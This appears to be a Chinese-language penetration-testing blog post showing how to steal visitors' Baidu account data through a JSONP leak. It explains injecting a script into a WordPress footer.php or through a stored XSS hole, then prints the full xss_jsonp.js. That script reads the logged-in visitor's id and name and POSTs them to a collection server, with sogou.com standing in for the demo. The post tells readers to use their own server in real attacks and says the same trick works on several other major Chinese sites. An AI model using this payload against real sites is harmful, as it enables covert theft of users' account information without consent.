我在本地環境搭建了一個WordPress網站,並在該網站中植入JavaScript文件。若是訪客在瀏覽網站時登陸了百度帳號,該js文件可以利用JSONP獲取網站訪客的百度帳號信息。php
具體狀況以下:ajax
一、首先修改WordPress的footer.php文件,引入2個外部JavaScript文件。第一個是jQuery庫,第二個是jsonp代碼。在實際滲透中,若是該網站存在存儲型XSS漏洞,咱們就能夠將xss_jsonp.js文件植入進去。json
二、xss_jsonp.js文件內容以下,具體功能是經過JSONP獲取百度帳號信息,並上傳到服務器上。爲了作演示,這裏我把獲取到的信息上傳到www.sogou.com,在實際滲透中,你能夠把信息上傳到本身的服務器上。api
1 function jsonp_baidu() { 2 window._baidu_1 = function(object) { 3 if(!object.id) { 4 return; 5 } 6 var data = {}; 7 data.id = object.id; 8 data.name = object.name; 9 $.post(saveUrl + '?act=baidu', data); 10 }; 11 $.ajax({ 12 url: "https://baike.baidu.com/api/login/", 13 type: "GET", 14 dataType: "jsonp", 15 jsonp: 'callback', 16 jsonpCallback: "_baidu_1", 17 }); 18 } 19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php'; 20 jsonp_baidu();
三、訪問網站並觀察剛纔植入的js代碼是否執行。服務器
訪問百度的JSONP接口,服務器返回登陸帳號的相關信息。xss
獲取到百度帳號信息後,上傳到www.sogou.com服務器。post
目前,我已經找到了百度、淘寶、京東、騰訊、新浪、愛奇藝等多個國內流行網站的JSONP接口,從這些接口能夠獲取用戶帳號信息。jsonp